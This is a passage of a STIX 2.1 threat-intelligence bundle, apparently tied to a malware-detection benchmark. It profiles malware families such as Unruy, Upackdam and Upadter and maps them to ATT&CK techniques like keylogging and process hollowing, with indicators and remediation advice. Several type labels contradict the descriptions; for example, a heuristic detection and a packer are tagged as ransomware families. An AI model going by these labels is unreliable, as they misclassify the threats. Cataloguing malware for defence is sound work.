      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Universal1337 exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67ea1897-8dbc-5e16-a8e2-545267b1c10a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76857525-4d17-58d8-86cd-c523535cc1e6",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Universal1337 exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b222ca88-5f65-594e-a47b-f67db5cdcdb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76857525-4d17-58d8-86cd-c523535cc1e6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Universal1337 exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb206870-f314-5c3a-81cb-3a80a5a19619",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76857525-4d17-58d8-86cd-c523535cc1e6",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Universal1337 exhibits technique T1048.003 (Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88b6b458-2efa-5392-9cdd-763aa60e49a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76857525-4d17-58d8-86cd-c523535cc1e6",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Universal1337 exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ff007a60-591c-5ef7-8cd3-0f1f3a113151",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Unpacked",
      "description": "Trojan:Win32/Unpacked is a critical **Heuristic Detection** flagged by modern endpoint security solutions. It is not a specific malware family, but rather a behavioral alert triggered when an executable file attempts to decrypt, decompress, or 'unpack' a hidden payload directly into memory at runtime. This behavior is a massive red flag, as it is the primary technique used by advanced malware to evade static antivirus signatures.<br><br><b>Understanding Unpacked (Software Packing)</b><br>To an end-user, an Unpacked alert simply means the AV caught a virus. For a security analyst, this detection indicates that the endpoint encountered sophisticated malware utilizing Defense Evasion (`T1027.002`). Malware authors use tools like UPX, Themida, or custom cryptors to scramble their code. The resulting file looks benign on the hard drive. However, when the user double-clicks it, a small 'stub' of code runs first, unscrambling the true malicious payload in memory and executing it without ever touching the disk.<br><br><b>Execution and Evasion Mechanics</b><br>The infection usually begins with user execution (`T1204.002`) of a seemingly harmless file (e.g., a PDF reader crack or a disguised email attachment). Once executed, the packer stub allocates memory, decrypts the true payload, and uses techniques like Process Hollowing (`T1055.012`) to inject the malicious code into a legitimate Windows process (like `svchost.exe`). Modern EDR solutions use memory scanning and API hooking to detect this transition; when they see an executable trying to run code from a dynamically allocated memory space that doesn't match the file on disk, they trigger the 'Unpacked' heuristic and terminate the process.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on what payload was being unpacked (ransomware, trojan, spyware). Host-based IoCs include the quarantined 'packed' file and EDR telemetry detailing anomalous memory allocation (`VirtualAllocEx`) or suspicious process creation. Because the malware attempts to run in memory, a live RAM dump is often the only way to retrieve the true, unpacked payload for reverse engineering. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Unpacked",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/unpacked"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1aedc20c-428d-5463-a7ab-fc32d767e008",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff007a60-591c-5ef7-8cd3-0f1f3a113151",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unpacked exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e3217a3-b5b3-5501-820b-3ce7c076d346",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff007a60-591c-5ef7-8cd3-0f1f3a113151",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unpacked exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36e0b0f6-12fb-538f-a236-244477626181",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff007a60-591c-5ef7-8cd3-0f1f3a113151",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unpacked exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a65ea503-fccb-5988-baef-e424998bd058",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Unruy",
      "description": "Unruy (identified across threat telemetry as Trojan:Win32/Unruy, Trojan-Clicker.Win32.Unruy, and Adware:Win32/Unruy) is an evasive background click-fraud trojan and ad-injection threat analyzed by Kaspersky, Trend Micro, and Microsoft Defender. Delivered primarily via stealthy trojan droppers, malvertising networks, and cracked utility downloads, Unruy operates silently in the background of infected Windows hosts. The malware initializes invisible, off-screen Internet Explorer or MSHTML browser controls to navigate to affiliate advertising links, sponsor banners, and pay-per-click landing pages without user awareness. Unruy utilizes encrypted HTTP communications to receive click commands, target URLs, and referrer strings from remote command-and-control servers, cycling through click targets while throttling network activity to avoid raising endpoint alarms. It establishes persistence by registering hidden Windows services and setting auto-start registry keys under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 1,267)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Unruy",
        "Trojan-Clicker.Win32.Unruy",
        "Adware:Win32/Unruy",
        "Win32/Unruy.Clicker",
        "Trojan.Win32.Unruy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Unruy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/unruy"
        }
      ],
      "labels": [
        "click_fraud",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74bf63ce-dcc2-5d62-af4e-43d52940cf30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a65ea503-fccb-5988-baef-e424998bd058",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unruy exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5e79960-343a-518b-b5b5-5a7e86eb2915",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a65ea503-fccb-5988-baef-e424998bd058",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unruy exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06a38716-48bf-51a2-a50f-a2f0bf1e0252",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a65ea503-fccb-5988-baef-e424998bd058",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unruy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8c3c175-3ce9-5672-97ea-38f6473998f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a65ea503-fccb-5988-baef-e424998bd058",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unruy exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0974ec79-bd97-53d2-998a-d82d982a75cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a65ea503-fccb-5988-baef-e424998bd058",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unruy exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7d6ecd9-e7eb-53fc-a94a-13ad297ed1d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a65ea503-fccb-5988-baef-e424998bd058",
      "target_ref": "attack-pattern--f35fda7f-e8d3-59d6-abf0-7c086177985c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unruy exhibits technique T1564.003 (Hide Artifacts: Hidden Window)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3799f66-656a-50cb-b3bb-86e535aa7e68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a65ea503-fccb-5988-baef-e424998bd058",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unruy exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43525b36-83b2-58c9-855e-f39126aafd32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Unwaders",
      "description": "Unwaders (identified by Microsoft Defender as Adware:Win32/Unwaders, PUA:Win32/Unwaders, and Misleading:Win32/Unwaders) is a deceptive adware monetization framework and Potentially Unwanted Application (PUA) family active since 2015. Operating across Windows environments, Unwaders is primarily distributed through Pay-Per-Install (PPI) wrapper networks, bundled with third-party software repackages, game cracks, and utility toolbars. Once installed on a victim machine, Unwaders establishes deep persistence via Registry Run keys and hidden background services. It modifies shortcut (.LNK) targets across the desktop and Start Menu, appending unwanted search engine URLs and advertising parameters so that opening Google Chrome, Mozilla Firefox, or Microsoft Edge automatically redirects the browser through monetizeable affiliate portals. Furthermore, Unwaders installs rogue browser extensions, monitors web traffic, and injects unsolicited banner advertisements and sponsored hyperlinks directly into visited webpages, degrading network bandwidth and compromising user browsing privacy. (Observed samples in benchmark: 111)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Unwaders",
        "PUA:Win32/Unwaders",
        "Misleading:Win32/Unwaders",
        "Adware.Unwaders",
        "Program:Win32/Unwaders.A!ml"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Unwaders",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/unwaders"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0abcb4a-ff11-59e6-9295-0dfa16518c2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43525b36-83b2-58c9-855e-f39126aafd32",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unwaders exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a8db3fe-c982-5029-91d8-146f28cd7141",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43525b36-83b2-58c9-855e-f39126aafd32",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unwaders exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffc2c6eb-c823-58aa-abae-d691a1e21102",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43525b36-83b2-58c9-855e-f39126aafd32",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unwaders exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9de6836-7fd9-55de-989f-f7ecf916e294",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43525b36-83b2-58c9-855e-f39126aafd32",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unwaders exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02fa49ae-b3f3-5a2e-8ab9-3344b918f6b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43525b36-83b2-58c9-855e-f39126aafd32",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unwaders exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--224d76bf-4b34-5ada-9e26-473f07749865",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43525b36-83b2-58c9-855e-f39126aafd32",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Unwaders exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9f572e3e-aeb4-525a-be5d-3f13a8bc8424",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Upackdam",
      "description": "<h3>Executive Summary</h3>\nUpackdam (or Upack) is a classification for a specific, aggressive executable packer/compressor used almost exclusively by malware developers to obfuscate their payloads. Its primary objective is to encrypt, compress, and scramble the underlying malicious code (often Trojans, stealers, or ransomware) so that standard signature-based antivirus scanners cannot recognize the payload until it executes and unpacks itself in the system's memory.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nUpackdam is not the malware itself; it is the \"envelope\" protecting the malware. Files packed with Upack are distributed via standard attack vectors: spear-phishing emails with weaponized attachments, exploit kits, or dropped as secondary payloads by initial access brokers.\n\nUpon execution, the Upack-packed executable performs a critical bootstrapping process:\n<ul>\n<li><strong>Memory Unpacking (The Stub):</strong> The visible part of the file is a small \"stub\" program. When run, this stub allocates memory, decrypts/decompresses the hidden malicious payload, and loads it directly into RAM, bypassing the hard drive.</li>\n<li><strong>Evasion through Structure Manipulation:</strong> Upack is notorious for creating malformed Portable Executable (PE) headers. It intentionally breaks the standard structure of the `.exe` file in ways that the Windows OS will still run, but which cause many security analysis tools and AV scanners to crash or fail to parse the file properly.</li>\n<li><strong>API Obfuscation:</strong> The packed file hides the Windows APIs the malware intends to use, making it impossible for security researchers to perform static analysis on the file to determine its intent without first unpacking it.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a file packed with Upackdam (even if the underlying payload is unknown) is a high-confidence indicator of malicious intent. Legitimate commercial software does not use aggressive, PE-breaking packers like Upack. Its presence indicates a deliberate attempt to evade security controls.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Because the static file is obfuscated, eradication relies on Endpoint Detection and Response (EDR) solutions that monitor the *behavior* of the process once it unpacks in memory and begins executing its malicious payload (e.g., injecting into other processes, modifying the registry).</li>\n<li><strong>Isolation and Forensic Extraction:</strong> Isolate the endpoint. Do not simply delete the packed file; provide it to a malware analyst or sandbox environment (like Cuckoo) where it can be executed in a controlled environment to allow the payload to unpack itself, at which point the true malware can be identified and analyzed.</li>\n<li><strong>Complete Re-imaging:</strong> Given that the underlying payload was explicitly designed for evasion, the safest remediation strategy following a successful execution is a complete bare-metal wipe and re-image from a trusted corporate baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packer.Upack",
        "Win32/Upack",
        "Trojan.Packed.Upackdam"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Upackdam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/upackdam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7605a483-7c9a-57da-bf2e-74760ddb80cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f572e3e-aeb4-525a-be5d-3f13a8bc8424",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upackdam exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b320de98-147c-5f1d-873e-63c6408a367a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f572e3e-aeb4-525a-be5d-3f13a8bc8424",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upackdam exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40978427-ca18-5e4b-aa9f-940a61835b0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f572e3e-aeb4-525a-be5d-3f13a8bc8424",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upackdam exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb581ad2-3d50-548c-aee0-62002260e8d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f572e3e-aeb4-525a-be5d-3f13a8bc8424",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upackdam exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0439573-d442-50e8-b4fa-feefa2063caa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f572e3e-aeb4-525a-be5d-3f13a8bc8424",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upackdam exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce4d9046-11b5-5ff6-af69-41dca2e169aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f572e3e-aeb4-525a-be5d-3f13a8bc8424",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upackdam exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76a6817c-50b2-5f78-b8c6-a1633be3fd87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Upadter",
      "description": "Trojan:Win32/Upadter is a deceptive malware family that relies heavily on social engineering, specifically the technique of **Masquerading**. As the name implies (often a deliberate misspelling of 'updater'), it disguises itself as a critical Windows operating system update, an Adobe Flash update, or a Java patch. Its goal is to trick the user into granting it administrative execution privileges, bypassing User Account Control (UAC) through sheer deception rather than exploiting a technical vulnerability.<br><br><b>Understanding Upadter</b><br>To an end-user, Upadter appears as a convincing, seemingly urgent pop-up window or a web page warning that 'Your system is out of date' or 'Critical Security Patch Required'. Because users have been conditioned for years to install updates, they often click 'Run' without verifying the source. For a security analyst, Upadter represents a failure of user awareness training and a reliance on endpoint defenses to catch the payload *after* the user has authorized it to run.<br><br><b>Execution and Masquerading Mechanics</b><br>Upadter is typically encountered during web browsing on compromised sites (drive-by downloads) or via malvertising (`T1189`). The initial payload is often an executable named `upadter.exe`, `winsys_patch.exe`, or `flash_installer.exe` (`T1036.005`). Crucially, these files are often given legitimate-looking icons (like the Windows shield or Adobe logo) and may even be signed with stolen, revoked, or spoofed digital certificates to appear authentic (`T1036.001`). When the user runs the file, the UAC prompt appears, asking the user to grant administrative privileges (`T1204.002`). Once the user clicks 'Yes', the malware executes with high privileges, establishes persistence in the Registry, and proceeds to download its true payload (often an infostealer, botnet agent, or ransomware).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the secondary payload it downloads. Host-based IoCs include the presence of executables with suspicious names (like `upadter.exe`) running from non-standard locations (like `%Temp%` or `%AppData%` instead of `C:\\Windows\\System32`). EDR telemetry will show these fake update processes spawning suspicious child processes (like `cmd.exe` or PowerShell) or making unauthorized network connections. Network IoCs include DNS requests to known malware distribution domains disguised as update servers. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Upadter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/upadter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1853fc00-11af-5035-b5ab-1de71d03b9a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76a6817c-50b2-5f78-b8c6-a1633be3fd87",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upadter exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location (Spoofing update names))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8829cc7-1315-5fde-9fde-2474c4b27169",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76a6817c-50b2-5f78-b8c6-a1633be3fd87",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upadter exhibits technique T1204.002 (User Execution: Malicious File (Tricking the user to run the fake update))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db3ef57a-79a5-5514-a9a5-e4131e3be254",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76a6817c-50b2-5f78-b8c6-a1633be3fd87",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upadter exhibits technique T1189 (Drive-by Compromise (Malvertising delivery))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7dfb616-f558-5eb7-beb9-37abf18950ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76a6817c-50b2-5f78-b8c6-a1633be3fd87",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upadter exhibits technique T1105 (Ingress Tool Transfer (Downloading the actual payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8910b4c1-4d0b-504c-9beb-fdc31e2f13e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Upantix",
      "description": "Upantix (cataloged in endpoint detection systems and threat intelligence databases under signatures including TrojanDownloader:Win32/Upantix, Trojan:Win32/Upantix, and Trojan.Upantix) is an evasive multi-stage Windows trojan downloader active since 2016. Infiltrating endpoints primarily through phishing email attachments and malicious software downloads, Upantix functions as an initial staging loader for secondary crimeware threats. Upon execution, Upantix performs environmental fingerprinting, checks for sandbox and hypervisor indicators, and creates autostart registry keys to establish persistence. It connects to remote command-and-control servers over HTTP/HTTPS, transmits host telemetry, and downloads encrypted payload files\u2014frequently modular banking trojans, keyloggers, and ransomware\u2014saving and executing them from temporary directories or directly into memory via process hollowing. (Observed samples in benchmark: 31)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Upantix",
        "Trojan:Win32/Upantix",
        "Trojan.Upantix",
        "Win32/Upantix",
        "TrojanDownloader:Win32/Upantix.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Upantix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/upantix"
        }
